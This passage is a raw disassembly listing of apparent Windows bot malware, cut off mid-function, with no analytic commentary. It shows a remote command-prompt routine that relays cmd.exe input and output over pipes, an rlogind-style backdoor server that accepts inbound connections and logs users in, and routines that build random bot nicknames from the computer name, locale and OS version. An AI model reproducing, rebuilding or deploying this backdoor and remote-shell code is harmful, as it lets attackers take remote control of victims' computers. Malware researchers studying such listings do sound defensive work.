sub_410520	proc near		; DATA XREF: sub_4106AD+16Ao

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ebx, 80h
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		xor	edi, edi
		push	edi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		mov	esi, 200h
		push	esi
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_480AD4
		call	dword_42210C	; PeekNamedPipe
		test	eax, eax
		jz	loc_41062F
		jmp	short loc_41056A
; ---------------------------------------------------------------------------


loc_410568:				; CODE XREF: sub_410520+109j
		xor	edi, edi


loc_41056A:				; CODE XREF: sub_410520+46j
		cmp	[ebp+var_4], edi
		jnz	short loc_41059A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_480B0C
		call	dword_422108	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_410590
		cmp	[ebp+var_8], 103h
		jnz	loc_41065C


loc_410590:				; CODE XREF: sub_410520+61j
		push	0Ah
		call	dword_422000	; Sleep
		jmp	short loc_410601
; ---------------------------------------------------------------------------


loc_41059A:				; CODE XREF: sub_410520+4Dj
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_4105B5


loc_4105A1:				; CODE XREF: sub_410520+93j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	loc_410653
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_4105A1


loc_4105B5:				; CODE XREF: sub_410520+7Fj
		mov	[ebp+var_4], esi


loc_4105B8:				; CODE XREF: sub_410520+137j
		xor	eax, eax
		push	eax
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_480AD4
		call	dword_42208C	; ReadFile
		test	eax, eax
		jz	loc_410684
		lea	eax, [ebp+var_20C]
		push	eax
		push	offset dword_480AD8
		push	dword_480ACC
		call	sub_410492
		add	esp, 0Ch


loc_410601:				; CODE XREF: sub_410520+78j
		xor	eax, eax
		push	eax
		push	eax
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_480AD4
		call	dword_42210C	; PeekNamedPipe
		test	eax, eax
		jnz	loc_410568


loc_41062F:				; CODE XREF: sub_410520+40j
		push	offset aCmdCouldNotRea ; "[CMD]: Could not read	data from procces"...
		push	offset dword_480AD8
		push	dword_480ACC
		call	sub_410492
		push	[ebp+arg_0]
		call	sub_41397A
		add	esp, 10h
		push	1
		jmp	short loc_4106A6
; ---------------------------------------------------------------------------


loc_410653:				; CODE XREF: sub_410520+89j
		inc	eax
		mov	[ebp+var_4], eax
		jmp	loc_4105B8
; ---------------------------------------------------------------------------


loc_41065C:				; CODE XREF: sub_410520+6Aj
		call	sub_410424
		push	offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n"
		push	offset dword_480AD8
		push	dword_480ACC
		call	sub_410492
		push	[ebp+arg_0]
		call	sub_41397A
		add	esp, 10h
		push	edi
		jmp	short loc_4106A6
; ---------------------------------------------------------------------------


loc_410684:				; CODE XREF: sub_410520+C1j
		push	offset aCmdCouldNotR_0 ; "[CMD]: Could not read	data from procces"...
		push	offset dword_480AD8
		push	dword_480ACC
		call	sub_410492
		push	[ebp+arg_0]
		call	sub_41397A
		add	esp, 10h
		push	0


loc_4106A6:				; CODE XREF: sub_410520+131j
					; sub_410520+162j
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_410520	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4106AD	proc near		; CODE XREF: sub_409806+4C89p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		call	sub_410424
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_178]
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43A3BC	; SearchPathA
		test	eax, eax
		jnz	short loc_4106E4
		or	eax, 0FFFFFFFFh
		jmp	loc_410859
; ---------------------------------------------------------------------------


loc_4106E4:				; CODE XREF: sub_4106AD+2Dj
		push	ebx
		push	edi
		mov	edi, dword_422114
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jnz	short loc_410717


loc_41070F:				; CODE XREF: sub_4106AD+7Bj
					; sub_4106AD+9Dj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_410857
; ---------------------------------------------------------------------------


loc_410717:				; CODE XREF: sub_4106AD+60j
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	short loc_41070F
		mov	edi, dword_4220E0
		push	3
		push	esi
		push	esi
		push	offset dword_480AC8
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_422110	; DuplicateHandle
		test	eax, eax
		jz	short loc_41070F
		xor	eax, eax
		lea	edi, [ebp+var_2C]
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		stosd
		xor	eax, eax
		lea	edi, [ebp+var_74]
		rep stosd
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	esi
		mov	ebx, 422B0Ah
		push	ebx
		lea	eax, [ebp+var_178]
		push	eax
		mov	[ebp+var_74], 44h
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_422044	; CreateProcessA
		test	eax, eax
		jz	loc_41070F
		push	[ebp+var_4]
		mov	edi, dword_42202C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_480AD4, eax
		mov	eax, [ebp+var_8]
		mov	dword_480AD0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_480B0C, eax
		call	edi	; CloseHandle
		cmp	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		mov	dword_480ACC, eax
		jz	short loc_4107E3
		push	[ebp+arg_4]
		jmp	short loc_4107E4
; ---------------------------------------------------------------------------


loc_4107E3:				; CODE XREF: sub_4106AD+12Fj
		push	ebx


loc_4107E4:				; CODE XREF: sub_4106AD+134j
		push	offset dword_480AD8
		call	sub_416905
		pop	ecx
		pop	ecx
		push	esi
		push	8
		push	offset aCmdRemoteComma ; "[CMD]: Remote	Command	Prompt"
		call	sub_4136B6
		mov	ecx, [ebp+var_24]
		mov	edi, eax
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43B248[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_410520
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		cmp	eax, esi
		mov	dword_43B254[edi], eax
		jnz	short loc_410855
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset aCmdFailedToSta ; "[CMD]: Failed	to start IO thread, error"...
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_401ECD
		add	esp, 10h


loc_410855:				; CODE XREF: sub_4106AD+17Fj
		xor	eax, eax


loc_410857:				; CODE XREF: sub_4106AD+65j
		pop	edi
		pop	ebx


loc_410859:				; CODE XREF: sub_4106AD+32j
		pop	esi
		leave
		retn
sub_4106AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41085C	proc near		; CODE XREF: sub_4108F4+A6p
					; sub_4108F4+B6p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax


loc_410863:				; CODE XREF: sub_41085C+2Aj
		push	0
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	dword_43A304	; recv
		cmp	eax, 1
		jnz	short loc_410899
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_4]
		jz	short loc_41088E
		test	al, al
		jnz	short loc_410863
		xor	eax, eax
		inc	eax


loc_41088B:				; CODE XREF: sub_41085C+3Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41088E:				; CODE XREF: sub_41085C+26j
		push	offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long."
		call	sub_401F41
		pop	ecx


loc_410899:				; CODE XREF: sub_41085C+1Bj
		xor	eax, eax
		jmp	short loc_41088B
sub_41085C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41089D	proc near		; DATA XREF: sub_410B00+5Ao

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		setz	al
		retn
sub_41089D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4108A7	proc near		; CODE XREF: sub_4108F4+175p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4108AC:				; CODE XREF: sub_4108A7+21j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4108CE
		test	cl, cl
		jz	short loc_4108CA
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4108CE
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_4108AC


loc_4108CA:				; CODE XREF: sub_4108A7+Fj
		xor	eax, eax
		jmp	short loc_4108D3
; ---------------------------------------------------------------------------


loc_4108CE:				; CODE XREF: sub_4108A7+Bj
					; sub_4108A7+19j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_4108D3:				; CODE XREF: sub_4108A7+25j
		test	eax, eax
		pop	esi
		jz	short loc_4108F0
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"...
		call	sub_401F41
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4108F0:				; CODE XREF: sub_4108A7+2Fj
		xor	eax, eax
		inc	eax
		retn
sub_4108A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4108F4	proc near		; DATA XREF: sub_410B00+19Fo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 3D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_3D4]
		rep movsd
		mov	esi, [ebp+74h+var_208]
		mov	[ebp+74h+arg_0], esi
		imul	esi, 234h
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		mov	eax, dword_43B24C[esi]
		mov	[ebp+74h+var_1F0], eax
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_1F4]
		push	eax
		push	ebx
		mov	[ebp+74h+var_C], 1Eh
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_1F4], edi
		call	dword_43A448	; select
		test	eax, eax
		jnz	short loc_41097D
		push	dword_43B24C[esi]
		call	dword_43A4B0	; closesocket
		push	[ebp+74h+var_208]


loc_410972:				; CODE XREF: sub_4108F4+1A2j
		call	sub_41397A
		pop	ecx
		jmp	loc_410AF8
; ---------------------------------------------------------------------------


loc_41097D:				; CODE XREF: sub_4108F4+6Aj
		push	ebx
		push	edi
		lea	eax, [ebp+74h+var_3C]
		push	eax
		push	dword_43B24C[esi]
		call	dword_43A304	; recv
		push	10h
		push	dword_43B24C[esi]
		lea	eax, [ebp+74h+var_2C]
		call	sub_41085C
		push	10h
		push	dword_43B24C[esi]
		lea	eax, [ebp+74h+var_4C]
		call	sub_41085C
		push	40h
		push	dword_43B24C[esi]
		lea	eax, [ebp+74h+var_F0]
		call	sub_41085C
		add	esp, 18h
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	dword_43B24C[esi]
		mov	[ebp+74h+var_4], 10h
		call	dword_43A3E0	; getpeername
		test	eax, eax
		jz	short loc_410A05
		call	dword_43A45C	; WSAGetLastError
		push	eax
		push	offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>."
		call	sub_401F41
		push	[ebp+74h+var_208]
		call	sub_41397A
		add	esp, 0Ch
		jmp	loc_410AF8
; ---------------------------------------------------------------------------


loc_410A05:				; CODE XREF: sub_4108F4+EBj
		push	2
		push	4
		lea	eax, [ebp+74h+var_18]
		push	eax
		call	dword_43A494	; gethostbyaddr
		cmp	eax, ebx
		jnz	short loc_410A2E
		push	[ebp+74h+var_18]
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_B0]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	short loc_410A3D
; ---------------------------------------------------------------------------


loc_410A2E:				; CODE XREF: sub_4108F4+121j
		mov	ecx, [eax]
		lea	edx, [ebp+74h+var_B0]


loc_410A33:				; CODE XREF: sub_4108F4+147j
		mov	al, [ecx]
		inc	ecx
		mov	[edx], al
		inc	edx
		cmp	al, bl
		jnz	short loc_410A33


loc_410A3D:				; CODE XREF: sub_4108F4+138j
		push	ebx
		push	edi
		push	422B0Ah
		push	dword_43B24C[esi]
		call	dword_43A438	; send
		cmp	dword_480B14, ebx
		jnz	short loc_410A9B
		push	[ebp+74h+var_18]
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		lea	eax, [ebp+74h+var_350]
		call	sub_4108A7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410A9B
		push	ebx
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		lea	esi, dword_43B24C[esi]
		push	dword ptr [esi]
		call	dword_43A438	; send
		push	dword ptr [esi]
		call	dword_43A4B0	; closesocket
		push	[ebp+74h+arg_0]
		jmp	loc_410972
; ---------------------------------------------------------------------------


loc_410A9B:				; CODE XREF: sub_4108F4+162j
					; sub_4108F4+17Fj
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>."
		call	sub_401F41
		push	[ebp+74h+arg_0]
		call	sub_411CDD
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410ADB
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>."
		call	sub_401F41
		push	[ebp+74h+arg_0]
		call	sub_41397A
		add	esp, 0Ch
		push	edi
		jmp	short loc_410AF9
; ---------------------------------------------------------------------------


loc_410ADB:				; CODE XREF: sub_4108F4+1C6j
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>."
		call	sub_401F41
		push	[ebp+74h+arg_0]
		call	sub_41397A
		add	esp, 10h


loc_410AF8:				; CODE XREF: sub_4108F4+84j
					; sub_4108F4+10Cj
		push	ebx


loc_410AF9:				; CODE XREF: sub_4108F4+1E5j
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_4108F4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B00	proc near		; DATA XREF: sub_409806+4B48o

var_5A8		= byte ptr -5A8h
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= byte ptr -214h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A8h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_218]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1DCh], esi
		lea	eax, [ebp+var_5A8]
		push	eax
		push	202h
		call	dword_43A3AC	; WSAStartup
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_410B59
		push	eax
		push	offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>."
		call	sub_401F41
		push	[ebp+var_50]
		call	sub_41397A
		add	esp, 0Ch


loc_410B53:				; CODE XREF: sub_410B00+8Bj
		push	esi
		jmp	loc_410D75
; ---------------------------------------------------------------------------


loc_410B59:				; CODE XREF: sub_410B00+3Bj
		push	esi
		push	offset sub_41089D
		call	dword_422118	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_410B8D
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "...
		call	sub_401F41
		pop	ecx
		pop	ecx
		call	dword_43A4BC	; WSACleanup
		push	[ebp+var_50]
		call	sub_41397A
		pop	ecx
		jmp	short loc_410B53
; ---------------------------------------------------------------------------


loc_410B8D:				; CODE XREF: sub_410B00+67j
		push	[ebp+var_54]
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_24], 2
		call	dword_43A4F4	; ntohs
		push	6
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43A39C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410D05
		mov	ecx, [ebp+var_50]
		imul	ecx, 234h
		push	10h
		pop	edi
		mov	dword_43B24C[ecx], eax
		push	edi
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		call	dword_43A47C	; bind
		test	eax, eax
		jnz	loc_410D05
		push	7FFFFFFFh
		push	[ebp+arg_0]
		call	dword_43A4C8	; listen
		test	eax, eax
		jnz	loc_410D05
		push	offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"...
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_401ECD
		pop	ecx
		mov	[ebp+var_8], esi
		jmp	loc_410CE4
; ---------------------------------------------------------------------------


loc_410C1F:				; CODE XREF: sub_410B00+1FDj
		push	[ebp+var_8]
		lea	eax, [ebp+var_8]
		push	eax
		push	8
		push	0FFFFh
		push	esi
		call	dword_43A3B8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_410CE4
		push	[ebp+var_50]
		movzx	eax, [ebp+var_32]
		push	eax
		push	[ebp+var_30]
		mov	[ebp+var_3C], ebx
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aRlogindClientC ; "[RLOGIND]: Client connection from IP:	%"...
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_401ECD
		push	esi
		lea	eax, [ebp+var_418]
		push	7
		push	eax
		call	sub_4136B6
		mov	ecx, [ebp+var_50]
		mov	[ebp+var_4C], eax
		imul	eax, 234h
		add	esp, 24h
		mov	dword_43B244[eax], ecx
		lea	eax, [ebp+var_38]
		push	eax
		push	ebx
		lea	eax, [ebp+var_218]
		push	eax
		push	offset sub_4108F4
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43B254[ecx], eax
		jnz	short loc_410CDF
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"...
		call	sub_401F41
		pop	ecx
		pop	ecx
		jmp	short loc_410D08
; ---------------------------------------------------------------------------


loc_410CD7:				; CODE XREF: sub_410B00+1E2j
		push	32h
		call	dword_422000	; Sleep


loc_410CDF:				; CODE XREF: sub_410B00+1C0j
		cmp	[ebp+var_3C], ebx
		jz	short loc_410CD7


loc_410CE4:				; CODE XREF: sub_410B00+11Aj
					; sub_410B00+137j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], edi
		call	dword_43A35C	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	loc_410C1F
		jmp	short loc_410D08
; ---------------------------------------------------------------------------


loc_410D05:				; CODE XREF: sub_410B00+BDj
					; sub_410B00+E3j ...
		mov	esi, [ebp+arg_0]


loc_410D08:				; CODE XREF: sub_410B00+1D5j
					; sub_410B00+203j
		call	dword_43A45C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_418]
		push	offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_40], ebx
		jnz	short loc_410D48
		push	ebx
		push	[ebp+var_44]
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+var_218]
		call	sub_405D20
		add	esp, 14h


loc_410D48:				; CODE XREF: sub_410B00+226j
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_401ECD
		pop	ecx
		push	esi
		call	dword_43A4B0	; closesocket
		push	[ebp+arg_0]
		call	dword_43A4B0	; closesocket
		call	dword_43A4BC	; WSACleanup
		push	[ebp+var_50]
		call	sub_41397A
		pop	ecx
		push	ebx


loc_410D75:				; CODE XREF: sub_410B00+54j
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_410B00	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410D7C	proc near		; CODE XREF: sub_411098+6Cp
					; DATA XREF: .text:off_4301B8o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aSoul ;	"[SOUL]"
		push	offset aS_3	; "%s"
		push	1Ch
		push	edi
		call	sub_416B5D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42FCD8, esi
		jle	short loc_410DD5


loc_410DAF:				; CODE XREF: sub_410D7C+57j
		call	sub_41699A
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_416B5D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42FCD8
		jl	short loc_410DAF


loc_410DD5:				; CODE XREF: sub_410D7C+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410D7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_410DDA	proc near		; CODE XREF: sub_409806+3305p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		pop	ecx
		call	sub_41699A
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	esi, edx
		add	esi, dword_42FCD8
		test	esi, esi
		jle	short loc_410E1D


loc_410E07:				; CODE XREF: sub_410DDA+41j
		call	sub_41699A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_410E07


loc_410E1D:				; CODE XREF: sub_410DDA+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_410DDA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		mov	esi, offset aPc	; "PC"
		push	esi
		call	dword_4220DC	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_416B5D
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42FCD8, esi
		jle	short loc_410E90


loc_410E6A:				; CODE XREF: .text:00410E8Ej
		call	sub_41699A
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_416B5D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42FCD8
		jl	short loc_410E6A


loc_410E90:				; CODE XREF: .text:00410E68j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		pop	ecx
		push	0Ah
		lea	eax, [ebp-0Ch]
		push	eax
		push	7
		push	800h
		call	dword_42211C	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_1	; "%s|"
		push	1Ch
		push	edi
		call	sub_416B5D
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42FCD8, esi
		jle	short loc_410F05


loc_410EDF:				; CODE XREF: .text:00410F03j
		call	sub_41699A
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_416B5D
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42FCD8
		jl	short loc_410EDF


loc_410F05:				; CODE XREF: .text:00410EDDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 94h
		push	esi
		push	edi
		lea	eax, [ebp-20h]
		push	eax
		mov	esi, 422B0Ah
		mov	dword ptr [ebp-20h], 94h
		call	dword_422120	; GetVersionExA
		call	dword_42201C	; GetTickCount
		push	eax
		call	sub_41698D
		cmp	dword ptr [ebp-1Ch], 4
		pop	ecx
		jnz	short loc_410F79
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_410F5F
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_410F52
		mov	esi, offset a95	; "95"


loc_410F52:				; CODE XREF: .text:00410F4Bj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_410FA9
		mov	esi, offset aNt	; "NT"
		jmp	short loc_410FA9
; ---------------------------------------------------------------------------


loc_410F5F:				; CODE XREF: .text:00410F45j
		cmp	dword ptr [ebp-18h], 0Ah
		jnz	short loc_410F6C
		mov	esi, offset a98	; "98"
		jmp	short loc_410FA9
; ---------------------------------------------------------------------------


loc_410F6C:				; CODE XREF: .text:00410F63j
		cmp	dword ptr [ebp-18h], 5Ah
		jnz	short loc_410FA4
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_410FA9
; ---------------------------------------------------------------------------


loc_410F79:				; CODE XREF: .text:00410F3Fj
		cmp	dword ptr [ebp-1Ch], 5
		jnz	short loc_410FA4
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_410F8C
		mov	esi, offset a2k	; "2K"
		jmp	short loc_410FA9
; ---------------------------------------------------------------------------


loc_410F8C:				; CODE XREF: .text:00410F83j
		cmp	dword ptr [ebp-18h], 1
		jnz	short loc_410F99
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_410FA9
; ---------------------------------------------------------------------------


loc_410F99:				; CODE XREF: .text:00410F90j
